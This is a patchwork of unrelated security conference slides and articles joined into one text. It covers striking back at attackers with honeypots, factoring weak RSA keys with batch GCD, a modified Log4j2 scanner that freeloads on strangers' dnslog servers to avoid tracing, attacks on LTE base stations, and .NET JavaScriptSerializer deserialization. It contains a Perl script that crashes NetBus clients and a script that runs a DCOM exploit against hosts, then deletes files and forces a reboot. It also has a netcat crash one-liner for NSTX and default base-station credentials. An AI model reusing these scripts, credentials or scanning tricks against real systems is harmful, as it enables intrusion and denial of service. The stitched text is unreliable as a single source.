Exploiting Exploits ?
• Imagine what would occur if there were vulnerabilities in
the code of an exploit ?
– Buffer overflow, string format, etc
• Have you ever audit the source code of exploits ?
– Not just talking about the payload
– Script kiddies don’t understand such sources
• “When i launched dcom-xpl.c it did not work !?”
• Automatic tools used to launch remote attacks or audits
are written properly
– NASL for Nessus, Python for Core Impact...
Playing with scanners
• Many kind of scanners are used in the wild
– Network layers
– Banners
– Security tests
• Some are poorly designed from a security point of view
and might lead to insecurity
– Buffer overflows, Format strings
– Reports badly generated (HTML including banners grabbed
on the targets without checking data)
Clients of Trojan Horses
• How many times did you get an incoming probe for
Trojan port toward your internal network ?
• Imagine if there were vulnerabilities in the code of a
Trojan horse client ?
– Then a counterattack would be possible !
• Moreover, it has been seen in the wild that some young
blackhats use the same kind of backdoor on a chain of
bounce
– If you steal the password/method/tool on one host, you could
probably try to climb the chain back to the real author of the
cyber crime
Retaliation : NetBus client
Bind this script on port TCP12345 (netcat, inetd, socat…)
Netbus Assassin Script nb.pl (crashes remote NB clients)
#!/usr/bin/perl
$banner = ”NetBus 1.6\r”
syswrite STDOUT, $banner;
my $byte;
while (sysread(STDIN, $byte, 100) >= 0) {
if($byte =~ m/^GetInfo\r$/)
{ $ans = ”Info;Program Path: C:\\Documents and
Settings\\Administrator\\Patch.exe" . "A" x 100000.
”|Restart persistent: Yes|Login ID:
Administrator|Clients connected to this host: 1\r";
syswrite STDOUT, $ans;
}}
Honeyd versus NetBus client
1) Netbus client connected...
2) Clicked “Get Info” (CPU!)
3)
State
Undefined
(Coma)
Worms
Self Defense
Technology
1) Infection attempt
1) Infection attempt
Worm i+1
2) Reaction
2) Reaction
1) Infection attempt
1) Infection attempt
Worm i-1
2) Reaction
2) Reaction
1) Infection attempt
1) Infection attempt
Worm i
2) Reaction
2) Reaction
Handling worms problems
• Theory : a worm W comes from host A to host H.
=> A is infected by W (?)
=> A is (was) vulnerable to the attack used by W
=> A may still be vulnerable
=> H attacks A through this vulnerability
=> H takes the control of A,
=> H cleans A, patches A, hardens A, etc
• Proof of concept with Honeyd versus MSBlast
– SecurityFocus - Infocus, October 2003 : "Fighting Internet
Worms With Honeypots"
• http://www.securityfocus.com/infocus/1740
– Black Hat Asia, December 2003
•
http://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-oudot/slides/bh-asia-03-oudot.pdf
#!/bin/sh
# launch the exploit against the internal infected attacker
# then execute commands to purify the ugly victim
/usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF
taskkill /f /im msblast.exe /t
del /f %SystemRoot%\System32\msblast.exe
echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
>> c:\cleaner_msblast.reg
echo "windows auto update" = "REM msblast" >> c:\cleaner_msblast.reg
regedit /s c:\cleaner_msblast.reg
del /f c:\cleaner_msblast.reg
shutdown -r -f -t 0
exit
EOF
Example : script to launch an automatic remote cleaning of infected hosts (!)
Honeyd versus MSBlast
Wireless ?
• SecurityFocus - Infocus, February 2003 : "Wireless
Honeypot Trickery”, L.OUDOT
– http://www.securityfocus.com/infocus/1761
• Evil honeypots in the wireless world
– Unofficial Access Point with fake resources
• May be used to steal passwords (Defcon !!!!)
– Rogue Access Point
• Propose (unprotected) wireless access and attack the clients
• May occur on innocent clients (XP that auto-connect...)
– Hacking the hackers
• Wardrivers try to find open AP to access the net (free, anon)
• Some techniques like tunneling are sometimes used...
Wireless Tunnels
• NSTX [http://debmail.dereference.de/nstx] is used to
create IP traffic over DNS (very useful for blackhats on
Wifi networks with DNS open for everybody).
• Advisory Number: RSTACK-20040325
– http://www.securityfocus.com/archive/1/358765
– You can remotely crash the NSTX server :
perl -e '{ print "A" x 500 }' | nc -u $ipdst 53
• Fingerprinting NSTX : the nstx version 1.0 will always
use a tunnel with a UDP source port of 54…
Others ideas
• B00mrang effect : proxy aggression back to aggressor
– add template tcp port 80 proxy $ipsrc:80
• Audit the auditor
– Try to get same kind of information on the aggressor (scan...)
• DOS/DDOS toward the client or its infrastructure
• ...
Real examples…
• Code Red II / Anti code red II « default.ida » script
– Strike back that abuses the remote CRII
• Attack occurs over a TCP session: might be the real
source
• Problem with attacks over simple UDP flows
– e.g. MS SQL Server, UDP 1434, Litchfield related exploits
• Symbiot.com technologies
• …
Requirements
• Graduated response : level of reactions to strike back with a
proportional response
– A too aggressive posture could be dangerous
• Determination of hostile hosts (level of threats)
– Behaviour, intrusion detection analysis, etc
– Risk: false positive (huh! sorry)
• Profiling the attack
– Probes, scanners, exploits, clients, malware, worms, Dos, etc
– Choose the appropriate strike back possibility
– Real life example: DEFense CONdition
• DEFCON 5 Normal peacetime readiness
• DEFCON 4 Normal, increased intelligence and strengthened security measures
• DEFCON 3 Increase in force readiness above normal readiness
• DEFCON 2 Further Increase in force readiness, less than maximum readiness
• DEFCON 1 Maximum force readiness.
Specific opportunities
• Though lawyers could argue that Self Defense is a very
dangerous response to a digital threat, one can think
about :
– Honeypots
– Internal Threats
Honeypots
• « A honeypot is a security resource whose values lies in
being probed, attacked or compromised »
– This is a non production system
• Used to delude attackers
– Incoming traffic is suspicious (should avoid false positive)
– That implies that the decision of launching a counterstrike is
probably easier
• Honeypots are really interesting technologies for
aggressive defense purpose
– Incoming traffic might be suspicious and should be
considered as an aggression
– Being “evil” with an aggressor might look like self defense
Wanna play with Honeypots ?
• « Shall we play a game ? »
– Self Defense and honeypots :
• Cansecwest 2004, Vancouver, « Towards evil honeypots, when
they bite back », L.OUDOT
• HOPE 2004, New York, « Retaliation with honeypots »
– Honeypots :
• Honeynet Project : www.honeynet.org (Honeywall CD)
Internal Computers
• Official remote administrator access might be possible
on internal computers/devices
– On a final destination (potential attacker)
– Near potential attackers
• Network devices at one or two hops...
• Self Defense might be used inside your own network in
order to protect it
– Might be an easy and clean method (no exploits, etc)
• Stop processes, add firewall rules, reboot/halt, modify files, patch…
• Might be very useful to avoid fast propagation of worms...
Handling internal threats
• Local Area Network
• Striking back your own computers
– Those computers are under your legal control
– If you have the right to « pentest » them, why could'nt you
strike back in their direction ?
• Very useful to find evil end users
– Corporate hackers, zealot end-users...
• Potential risk: spoofing is easier on a LAN
– Layer 2 attacks, etc
Technical limitations
• Counterstrike technologies might not exist for some kind
of threats
– Need remote exploits for each worms, evil tools, etc [!]
• False positive
• Spoofing
• Collateral damage
Conclusions
• Cool Geeks :
– Really interesting (TECH), Feeling of doing something right
– New possibilities to explore in order to protect an infrastructure
• (not so cool) Managers :
– Legal issues
– Counterstrike might be used to target internal computers/devices
– Add In-Depth Security capabilities (kind of advanced IPS)
• Blackhats :
– Yet another way to attack (attackers ?!)
• e.g. Evil Honeypots
•
Cool BUT : Automatic aggressive defense is still a dangerous activity !
•
Passive|Active Defense ? Future technologies ? Future laws? Culture ?
• Questions ?
• Greetz : MISC Mag, Dragos Ruiu, Dave Dittrich, Jennifer
Granick, Barbara Moran, Nicolas Fischbach, Philippe
Biondi, Frederic Raynal, Folks from Rstack.org | pdf |
The mechanics of compromising
low entropy RSA keys
Austin Allshouse
This talk is about...
Nominally:
Recovering private keys from a subset of vulnerable RSA certificates
Functionally:
Calculating shared factors across large batches of integers
“...using our scalable GCD algorithm for shared factors...”
“...batch GCD on RSA keys, using a custom distributed version...”
“...we adapted the batch GCD implementation…”
p x q = n
random prime
random prime
public modulus
Hello darkness, my old friend...
When primes are reused...
p x q1 = n1; p x q2 = n2
gcd(n1, n2) = p
n1/p = q1; n2/p = q2
Select past research...
2012
2016
2018
“Mining your Ps and
Qs...”
“Weaks Keys Remain
Widespread...”
“Reaping and breaking
keys at scale…”
@DEF CON 26
- Discovered widespread
prime reuse in
certificates
- Demonstrated flaws in
pseudorandom number
generation
- Greatly expanded scope
of keys evaluated (81
million)
- Detail a method of
parallelizing modulus
factorization
- Industrialized key
acquisition and factoring
on a massive scale from
diverse sources
(hundreds of millions)
GCD circa 300 BC (Euclid)
Prime products: (7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901
from itertools import combinations
products = [469, 671, 413, 901]
def gcd(a, b):
if a == 0:
return b
return gcd(b%a, a)
for pair in combinations(products, 2):
print(f'gcd{pair} = {gcd(*pair)}')
gcd(469, 671) = 1
gcd(469, 413) = 7
gcd(469, 901) = 1
gcd(671, 413) = 1
gcd(671, 901) = 1
gcd(413, 901) = 1
Batch GCD circa 2004 AD (Bernstein)
Product Tree
Building:
child1 * child2 = parent
Remainder Tree
Decomposing:
parent mod child2 = child
Remainder Tree Leaves
gcd( remainder/product, product ) = shared_factor
Product Tree
117103588987
314699
372113
901
413
671
469
Prime products: (7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901
Remainder Tree
117103588987
117103588987 mod (314699)2 =
18068128386
117103588987 mod (372113)2 =
117103588987
117103588987 mod
(901)2 = 482936
117103588987 mod
(413)2 = 124313
18068128386 mod
(671)2 = 407297
18068128386 mod
(469)2 = 91924
gcd(91924 / 469, 469)
= 7
gcd(407297 / 671, 671)
= 1
gcd(124313 / 413, 413)
= 7
gcd(482936 / 901, 901)
= 1
Prime products: (7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901
Parallelization - 150 million 2048-bit moduli
Batch Count
1
5
Batch Size
150 million
30 million
Product Tree Size
> 1 terabyte
~ 180 gigabytes
Tree Permutations
1
20
Tree permutation
Batch 1:
(7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901
Batch 2: (17 x 47) = 799; (23 x 43) = 989; (29 x 41) = 1189; (23 x 37) = 851
117103588987
314699
372113
901
413
671
469
799566308029
790211
1011839
851
1189
989
799
(117103588987 x 799566308029) = 93632084303281054076623
gcd(36113 /
469, 469)
= 7
gcd(50996 /
671, 671)
= 1
gcd(101185 /
413, 413)
= 7
gcd(505461 /
901, 901)
= 17
gcd(258077 /
799, 799)
= 17
gcd(727904 /
989, 989)
= 23
gcd(1223481 /
1189, 1189)
= 1
gcd(665482 /
851, 851)
= 23
Implementation tech stack
product
product
product
product
product
product
modulus
modulus
modulus
modulus
modulus
S3
E
B
S
gob
goroutines/gmp
Language
golang
Arithmetic
github.com/ncw/gmp
Storage
S3 / EBS
Serialization
gob
Concurrency
goroutines
Orchestration
bash
Old and busted certificates
At risk...
Industry Sectors
Relative Likelihood of Vulnerability
Finance, Insurance, Legal
1x
Business Services, Engineering
3x
Government, Manufacturing, Hospitality
4x
Defense, Entertainment, Real Estate
6x
Utilities
10x
●
Vendor auto-generated device certificates
●
Old, unmanaged devices (i.e. shadow IT)
Shared primes are device-specific; disjoint
In conclusion...
●
Vendors have largely addressed this vulnerability
○
doesn’t matter if old keys are still in use
●
Isolated to self-signed/non-public CA signed certificates
●
Massive scale of key acquisition is not necessary
○
limit batches to keys from specific devices
Reference Implementation
(Python)
https://github.com/austinallshouse/defcon29
-key-factorization-reference | pdf |
优雅的使⽤Dnslog平台
0x01 强迫症难受的需求点
在可⽤的 dnslog 平台越来越多之后,各种 burpsuite 插件、主动被动扫描满天⻜,去公开的的 dnslog 平台把信息
填过来就没美滋滋的刷洞,但是⼜有⼏个问题:
公开的 dnslog 地址容易被 ban
⼄⽅公司⾃建的 dnslog ⼜不让我⽤
⾃建的⼜可能被溯源
0x02 癞蛤蟆想吃天鹅⾁
就没有可能⼜稳定、⼜不怕溯源、⼜不被 ban 吗,接着这个想法找到了⼀种⽩嫖别⼈的 dnslog 服务器的可能性
Github 上已经有了很多师傅们开发的各种⼀键 dnslog 平台,观摩了⼏个后发现⼤部分的⾯板加上了token或者密
码验证,找到了也没办法嫖
摸了⼀圈之后还是有可⽤的,⽐如 https://github.com/yumusb/DNSLog-Platform-Golang 的 dnslog 平台,他的
demo 是 https://dig.pm ,公开的⾯板可以直接⽤
他还做了特征在 header ⾥:
Fofa 的结果不算多,但是够⽤了:
简单看了⼀哈他的接⼝
获取⼦域名:https://dig.pm/new_gen (不需要验证)
获取结果:
同样不需要验证,传递⼀哈 token 就好,那就稳的
不过看了⼀圈 fofa 上的之后发现有好多张这个样⼦,Github上瞧了⼀眼 releases 应该是不同版本的平台,不过好
在接⼝ api 都是⼀样的,问题不⼤
0x03 魔改 Log4j2 的插件
在 https://github.com/whwlsfb/Log4j2Scan 的基础上开始添加⽀持 DNSLog-Platform-Golang 的格式
照着他原有的 DnslogCN 的调⽤格式新增了⼀个 DnslogPlatform
获取 api 的域名和 token
刷新 dnslog 结果出来判断拼接的域名字符
UI 也是向他原有的框架⾥添加新的选项
private void initDomain() {
try {
Utils.Callback.printOutput("Get domain...");
Response resp = client.newCall(GetDefaultRequest(baseUrl +
"/new_gen").build()).execute();
JSONObject jObj = JSON.parseObject(resp.body().string());
rootDomain = jObj.getString("domain");
token = jObj.getString("token");
Utils.Callback.printOutput(String.format("Domain: %s", rootDomain));
Utils.Callback.printOutput(String.format("Token: %s", token));
startSessionHeartbeat();
} catch (Exception ex) {
Utils.Callback.printError("initDomain failed: " + ex.getMessage());
}
}
public boolean flushCache() {
try {
Response resp = client.newCall(HttpUtils.GetDefaultRequest(baseUrl + "/"
+token).build()).execute();
dnsLogResultCache = resp.body().string().toLowerCase();
Utils.Callback.printOutput(String.format("Get Result: %s",
dnsLogResultCache));
return true;
} catch (Exception ex) {
Utils.Callback.printOutput(String.format("Get Result Failed: %s",
ex.getMessage()));
return false;
}
}
最后的样⼦
PS:我随便找的⼀个 dnslog ,他这个域名是有点意思的
0x04 扫描效果
被动扫描⼀个 vulfocus 的 log4j2
Dnslog 地址不想⽤了就可以去 fofa 上换别⼈的⽩嫖了~
Fork 改好的源码放在 https://github.com/zhzyker/Log4j2Passive | pdf |
1
Attacking BaseStations
Hendrik Schmidt <[email protected]>
Brian Butterly <[email protected]>
2
Who we are
o
Old-school network geeks,
working as security researchers for
o
Germany based ERNW GmbH
o
Independent
o
Deep technical knowledge
o
Structured (assessment) approach
o
Business reasonable recommendations
o
We understand corporate
o
Blog: www.insinuator.net
o
Conference: www.troopers.de
3
Motivation
o
The 4G standard introduces a lot of new technologies
providing modern services to the customer.
o
This includes features as VoLTE, SON, ………..Trust
and optional controls
o
BaseStations are the big (and small) antennas in the
field
o
With our research we want to bring visibility to
o
How the environment works
o
What providers do
o
What vendors do
4
Introduction
From 2G to 4G Telecommunication Networks
5
4G Core
eUTRAN
UE
eNodeB
MME
PDN-GW
Serv-GW
HSS
IMS
S1-MME
S1-U
OSS
S1-MME
IP Network
6
Typical
Environment?
Source:
worldlte.blogspot.com
7
Typical
Environment?
8
BaseStation Physical Setup
o Usually a closed/outdoor rack
o
Baseband Unit (BBU) (or multiple)
o
Power Distribution Unit (PDU)
o
Power Supply Unit (PSU)
o
Ventialation
o
Temperatur/ Humidity Sensors
o
Alarm Sensors
o Extra box with power connections
9
The Idea
1. Understand BaseStation Setup
2. Purchase an old BaseStation out of the field
3. Get BS running in an emulated environment
4. Perform an evaluation of configuration &
security
10
What we need:
Basestation Physical Setup
o Base Band Unit (BBU)
o
Usually standing on the ground
o Remote Radio Head/Unit (RRH/RRU)
o
May be placed on the cell mast or on the ground
o Antenna
o
Come in various shapes and sizes
o
Nowadays often vector antennas
o All active parts are interconnected
o
BBU, RRU, sensors, power supply, vents
11
o Components run on -48V
o
Not +-48V (96V differential)
o
Basically just 48V connected
the other way round
o Basically receives raw RF
signals via Fiber and sends
them out via Copper
o
Towards the antenna
o Usually capable of serving a
specific frequency band
Power Supply
RRU
12
o Frame for holding power unit
and functional blades
o Sometimes have a backplane
for interconnection between
components
o
Arbitrary PCB connectors
o
Multiple interfaces (LAN,
UART, Arbitrary, CAN)
o
Functional blades decide the
network type
o
Ericsson: DUL/DUW/DUG -> Digitial
Unit LTE/WCDMA/GSM
o
Slots for multiple blades
o
Single BBU could serve GSM and
WCDMA
o
Depends highly on specific BBU and
blade combination
o
Single blade can serve multiple
cells
o
Using sector antennas a single mast
could i.e. serve 4 cells in 4 different
directions
Most important Unit: the BBU
13
Variants of an eNodeB
o Come in different shapes and sizes.
o
Rack, “Small-Boxes“, Portable
o Different types for different size cells.
o
Macro (>100m), Micro (100m), Pico (20-50m),
HeNB (10-20m)
o
(WiFi/WiMax)
o Termination Point for Encryption
o
RF channel encryption
o
Backend channel encryption
14
Implementing a Lab
Just a Quick HowTo
15
How to Start…
o Purchasing a BTS is not easy, you have to be
aware of the architecture
o Searching for „eNodeB“ is not working very well
because every vendor has its own architecture,
boards, and naming
o Some helpful words:
o
Nokia - FlexiBTS
o
Huawei – BBU + LMPT/UMPT
o
Ericsson – RBS + DUL
o
ALU – MBS
16
Ebay
17
Lab Setup – What You Need
o A Basestation
o
The RRU is optional if you just want to play with
the BTS itself
o Power Supply
o
-48V ~ 5A will be sufficient
o Power Connectors
o
Good luck ;-)
o
The devices sometimes have strange plugs, so
you might need some time to find or make
them
18
Lab Setup – What You Need
o Proper switch
o
Depending on the model and configuration the
backhaul interface will be using multiple
VLANs (signaling, configuration)
o Stack of network cables
o A Box/VM
o
Be prepared to set up multiple IP addresses
o
Virtual interfaces with VLANs
o
NTP server
19
20
Our Lab
21
o
GPS
o
For timing or positioning (during setup)
o
EC
o
Connection to power unit
o
AUX
o
For clustering multiple units
o
LMT A
o
Local maintenance terminal A
o
LMT B
o
Local maintenance terminal B
o
TN A
o
Backhaul Access – S1
o IDL
o
Currently unknown
o TN B
o
Backhaul Access – S1
o A, B, C, D, E, F
o
Interfaces towards RRU
Ericsson RBS6601 - DUL
RJ-45 & Gbic Interfaces
22
The First Sniff
23
Let‘s get Started!
o We had to emulate Signalling and O&M
Connection
o
Vlan 3: Signalling
o
Vlan 2: O&M
o You see a lot of traffic, the eNB is designed to
operate almost as standalone
Not that many modifications needed
24
The Second Sniff
25
The Transport Interface
Build Your Own Provider Network
26
S1-Interface
o After the host 10.27.99.169 on VLAN 2
becomes available the eNodeB activates
communication over the S1-Interface
o Using SCTP it tried to reach 7 different hosts
by SCTP INIT request to establish a
connection
27
S1-Interface
o S1 interface is divided into two parts
o
S1-MME (Control Plane)
o Carries signalling messages between
base station and MME
o
S1-U (User Plane)
o Carries user data between base station
and Serving GW
X2
S1-MME
S1-U
28
From 3GPP TS 33.401
o
“In order to protect the S1 and X2 control plane as required by clause 5.3.4a, it is
required to implement IPsec ESP according to RFC 4303 [7] as specified by TS
33.210 [5]. For both S1-MME and X2-C, IKEv2 certificates based authentication
according to TS 33.310 [6] shall be implemented”
o
“NOTE 1: In case control plane interfaces are trusted (e.g. physically protected),
there is no need to use protection according to TS 33.210 [5] and TS 33.310 [6].”
o
“In order to protect the S1 and X2 user plane as required by clause 5.3.4, it is
required to implement IPsec ESP according to RFC 4303 [7] as profiled by TS
33.210 [5], with confidentiality, integrity and replay protection.”
o
“NOTE 2: In case S1 and X2 user plane interfaces are trusted (e.g. physically
protected), the use of IPsec/IKEv2 based protection is not needed.”
o
“In order to achieve such protection, IPsec ESP according to RFC 4303 [7] as
profiled by TS 33.210 [5] shall be implemented for all O&M related traffic, i.e. the
management plane, with confidentiality, integrity and replay protection.”
o
“NOTE 2: In case the S1 management plane interfaces are trusted (e.g. physically
protected), the use of protection based on IPsec/IKEv2 or equivalent mechanisms is
not needed.”
29
S1-AP
o S1 Application Protocol (S1AP), designed by
3GPP for the S1 interface
o Specified in 3GPP TS36.413
o Necessary for several procedures between
MME and eNodeB
o Also supports transparent transport procedures
from MME to the user equipment
o SCTP Destination Port 36412
30
Let‘s get Started!
o S1-MME: Basically, only the S1 Setup
Request is needed.
o
fake_mme.py
31
Working with S1AP
o After S1 Setup Request, a couple of
messages can be sent.
o S1AP Scanner published in the past
o
S1AP_enum (www.insinuator.net)
o New scripts: sctp_mitm.py
32
S1AP and X2AP Functions Overview
o
E-RAB management functions (setup, management, modifying)
o
An ”Initial Context transfer” function to establish a S1UE context in the eNodeB to setup E-RABs, IP connectivity and
NAS signaling.
o
UE Capability Info Indication function: providing UE capability information.
o
Mobility functions for UE, active in LTE network in case of change of the eNodeB or RAN (e.g. location change).
o
Paging: provides the capability for the MME to page the UE.
o
NAS signaling transport
o
S1 UE context release/modification functions: modify and release UE context information
o
Status transfer: transferring Packet Data Convergence Protocol (PDCP) SN, defined at [31],
o
status information between two eNodeBs.
o
Trace functions
o
Location Reporting functions
o
LPPa (LTE Positioning Protocol Annex) signaling transport: providing the transfer of LPPa messages between eNodeB
and E-SMLC.
o
S1 CDMA2000 tunneling functions: carrying CDMA2000 signaling messages between the UE and the CDMA2000 RAT.
o
Warning message transmission
o
RAN Information Management (RIM) functions: transferring RAN system information between two RAN nodes.
o
Configuration Transfer functions: requesting and transferring RAN configuration information
33
S1AP with Dizzy
www.insinuator.net
www.c0decafe.de
34
Operations & Maintenance Network
35
OAM Network
o After the host 10.27.99.173 on VLAN 3
becomes available the eNodeB starts
searching for an NTP
o It also tries to establish a TCP session to
some management system
36
Nmap Results
Increasing send delay for 10.27.99.174 from 0 to 5 due to 45 out of 149 dropped probes since last increase.
Nmap scan report for 10.27.99.174
Host is up, received arp-response (0.00042s latency).
Scanned at 2015-12-28 19:16:02 CET for 842s
Not shown: 65529 closed ports
Reason: 65529 resets
PORT STATE SERVICE REASON VERSION
21/tcp
open ftp syn-ack ttl 64
22/tcp
open ssh
syn-ack ttl 64 (protocol 2.0)
| ssh-hostkey:
| 1024 39:6b:50:b5:68:ea:cf:f9:1b:85:48:dc:cb:5f:9c:dc (DSA)
| ssh-dss
AAAAB3NzaC1kc3MAAACBAKjBoRJD3xs/PDF7i8Zh6VVNlnykkT0aZ/OJoZM0Qb/2Zm1SruM5bYkwAczqstUWXygtgSTmP4
Dv5VHNkmR5Gb5KIe2e5GXNp4HACdAVjThkpBzK27ai+Pj+CXIHQxHcZIMgJyQDA29oCg5KFk9lbtdDkiocabW/KyuAQmxB0
mIVAAAAFQCPdjPIB+E7/0QKPKXG0pcRgIibLQAAAIBLD689UE2fmlufS53dHWsgxm9SsGD4GgP4bnRfV+G494PNfimiVv0W
oqAeDFtVqQLIxZHU2pJ275kgRyDHcp4fTaPssxZpIjyVNiZkjLjDVeZb8D562E4PnG3BVFy2VcMrq4klbO02wKwE5zQrLQfGf7O
o1rv81+1OdpZzU3N48wAAAIEAhj3FTj4i2s8vKEVXzUtdK081YHhyvOJO77niYmJ+jG2IOtt4tJpuNfvdc19ab2wtrqerQ1R6KTA9
2InhktEZvS2e4peeVho0htYoDlDQTybpw5v/LaX8c0/7vtcKJt7On+A0rZwCAd2ScQxNKpcyJAqNf9J+esFJXo9KONWkpms=
| 1024 e8:c6:48:a5:f8:7b:ed:c3:6b:30:86:a6:42:c6:04:a6 (RSA)
|_ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAz4L21u3pCegfIuLO+iz8te/XmrNhNSeCFf9SCwd8GYL7D1yktvdhn3kFPb+4gwM2B+sIn
hs0TM6+bt7HfW7AU0cPTMy3kgLxvOKU9V+Sm8QzvZSJkkKmbfnwRHY7IVvFSHNZPghWupcDUb7h7z+h3Q3BlcZP7ZQIFPd
3zXEyxIM=
23/tcp
open telnet syn-ack ttl 64
80/tcp
open http syn-ack ttl 64 WEBS - OSE web server
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: WEBS - OSE web server
|_http-title: 404 URL Not Found
8443/tcp open tcpwrapped syn-ack ttl 64
|_xmlrpc-methods: ERROR: Script execution failed (use -d to debug)
56834/tcp open unknown syn-ack ttl 64
37
38
LMT Software
Installation
... and Windows XP …
39
Local Maintenance Terminal
o The workflow
1.
Fault-State of BaseStation (NoService)
2.
Engineer moves on-site
3.
Engineer connects to BTS with $tool
4.
Engineer accesses debug information
5.
Engineer adjusts configuration
40
“Setting up and configuring eNBs shall be authenticated and
authorized so that attackers shall not be able to modify the eNB
settings and software configurations via local or remote access. ”
o
But, anyhow: 4G BaseStations are yet another Network Device with IP
connection.
From 3GPP TS 33.401
More on eNB Security
41
Element Manager
42
What we see
o Totally outdated Java
o EM is not asking for a password
o EM is based on HTTP and GIOP
o
Transmits current configuration data of the
BTS
o
Configuration changes can be made
43
o Username: rbs / cellouser
o
Password: rbs
Well...
44
Webserver
o Running WEBS - OSE web server
o
EM Download
o
XML Configuration
o Java JDK (1.1.6, 1.2.1, 1.3.1, 1.4.2, 1.5.0,
1.6.0)
o Somehow, not very load resistant
Leading to a DoS of the whole machine
45
Insights
46
What We’ve Seen so far
o The device was obviously not wiped
o No IPSEC on S1 interface
o Hardcoded & default credentials
o
rbs – rbs
o
cellouser - rbs
o Telnet in use
o Unencrypted maintenance interface
47
And the BS belongs to…?
o Looks like a BaseStation from the US
c/logfiles/alarm_event/ALARM_LOG.xml:1f1;x4;x4;EUtranCellFDD;SubNetwork=ONRM_
ROOT_MO_R,SubNetwork=PHL-
ENB,MeContext=PHLe0760889,ManagedElement=1,ENodeBFunction=1,EUtranCellFDD=P
HLe07608893;417;135588376835330000;SubNetwork=ONRM_ROOT_MO_R,SubNetwork=
PHL-ENB,MeContext=PHLe0760889;356;6;ServiceUnavailable;0;S1 Connection failure for
PLMN mcc:311 mnc:660;SubNetwork=ONRM_ROOT_MO_R,SubNetwork=PHL-
ENB,MeContext=PHLe0760889_415;;0;2;0;0;
48
Using passwd
o We have the users cellouser and rbs
o
By the way, rbs is not in the passwd file
o While checking for use of hardcoded
passwords in the management tool, we
changed the user for rbs using passwd
o Afterwards cellouser’s password was also
change to the password
49
SSH
o SSH access to the device is enabled
o Sadly the only supported key exchange
algorithm is disabled by default in current
ssh clients
o
ssh -oKexAlgorithms=+diffie-hellman-group1-
sha1 [email protected]
50
Cell & UE Traces
o The eNodeB is able to create both traces for
cells and UEs
o We found a set of traces on the device
o Sadly the traces seem to be purely cell
traces
o
Containing data on packet loss etc.
o
No “interesting” information
51
GIOP Remote Session
o The eNodeB ties to establish a TCP session
with 5.211.14.4
o When connected it sends a simple GIOP
request
o Seems to be: Java IDL: Interoperable Naming
Service (INS)
52
IP Address: 5.211.14.4
o This is the only public IP address the device
talks to
o Strangely (reminder of the operator:
MetroPCS, USA) the IP address is located in
Iran
o From the dates we’ve seen the eNodeB was
initially provisioned and setup in 2013
o
The IP address range was registered in 2012
for an Iranian telco
53
IP Address: 5.211.14.4
o Looks strange?
o Well, we can not disprove:
o
The IP address range might have been
shared/let/lent
o
The operator might have misused public IPs
privately
o The port seems to be down
54
www.ernw.de
www.insinuator.net
Thank you for your Attention!
[email protected]
[email protected]
@hendrks_
@BadgeWizard | pdf |
云影实验室
1 / 11
.NET 高级代码审计(第四课) JavaScriptSerializer 反序列化漏洞
Ivan1ee@360 云影实验室
2019 年 03 月 01 日
云影实验室
2 / 11
0X00 前言
在.NET 处理 Ajax 应用的时候,通常序列化功能由 JavaScriptSerializer 类提供,它
是.NET2.0 之后内部实现的序列化功能的类,位于命名空间
System.Web.Script.Serialization、通过 System.Web.Extensions 引用,让开发者轻
松实现.Net 中所有类型和 Json 数据之间的转换,但在某些场景下开发者使用
Deserialize 或 DeserializeObject 方法处理不安全的 Json 数据时会造成反序列化攻
击从而实现远程 RCE 漏洞,本文笔者从原理和代码审计的视角做了相关介绍和复现。
0X01 JavaScriptSerializer 序列化
下面先来看这个系列课程中经典的一段代码:
TestClass 类定义了三个成员,并实现了一个静态方法 ClassMethod 启动进程。 序列
化通过创建对象实例分别给成员赋值
云影实验室
3 / 11
使用 JavaScriptSerializer 类中的 Serialize 方法非常方便的实现.NET 对象与 Json 数据
之间的转化,笔者定义 TestClass 对象,常规下使用 Serialize 得到序列化后的 Json
{"Classname":"360","Name":"Ivan1ee","Age":18}
从之前介绍过其它组件反序列化漏洞原理得知需要 __type 这个 Key 的值,要得到这个
Value 就必须得到程序集全标识(包括程序集名称、版本、语言文化和公钥),那么在
JavaScriptSerializer 中可以通过实例化 SimpleTypeResolver 类,作用是为托管类型
提供类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。笔者将代
码改写添加类型解析器
JavaScriptSerializer jss = new JavaScriptSerializer(new
SimpleTypeResolver());
这次序列化输出程序集的完整标识,如下
{"__type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral,
PublicKeyToken=null","Classname":"360","Name":"Ivan1ee","Age":18}
0x02 JavaScriptSerializer 反序列化
2.1、反序列化用法
反序列化过程就是将 Json 数据转换为对象,在 JavaScriptSerializer 类中创建对象然后
调用 DeserializeObject 或 Deserialize 方法实现的
云影实验室
4 / 11
DeserializeObject 方法只是在 Deserialize 方法上做了一层功能封装,重点来看
Deserialize 方法,代码中通过 JavaScriptObjectDeserializer.BasicDeserialize 方法返
回 object 对象
在 BasicDeserialize 内部又调用了 DeserializeInternal 方法,当需要转换为对象的时候
会判断字典集合中是否包含了 ServerTypeFieldName 常量的 Key,
ServerTypeFieldName 常量在 JavaScriptSerializer 类中定义的值为“__type”,
剥茧抽丝,忽略掉非核心方法块 ConvertObjectToType、
ConvertObjectToTypeMain 、ConvertObjectToTypeInternal,最后定位到
ConvertDictionaryToObject 方法内
云影实验室
5 / 11
这段代码首先判断 ServerTypeFieldName 存在值的话就输出赋值给对象 s,第二步将
对象 s 强制转换为字符串变量 serverTypeName,第三步获取解析器中的实际类型,并
且通过 System.Activator 的 CreateInstance 构造类型的实例
Activator 类提供了静态 CreateInstance 方法的几个重载版本,调用方法的时候既可以
传递一个 Type 对象引用,也可以传递标识了类型的 String,方法返回对新对象的引用。
下图 Demo 展示了序列化和反序列化前后的效果:
反序列化后得到对象的属性,打印输出当前的成员 Name 的值
云影实验室
6 / 11
2.2、打造 Poc
默认情况下 JavaScriptSerializer 不会使用类型解析器,所以它是一个安全的序列化处
理类,漏洞的触发点也是在于初始化 JavaScriptSerializer 类的实例的时候是否创建了
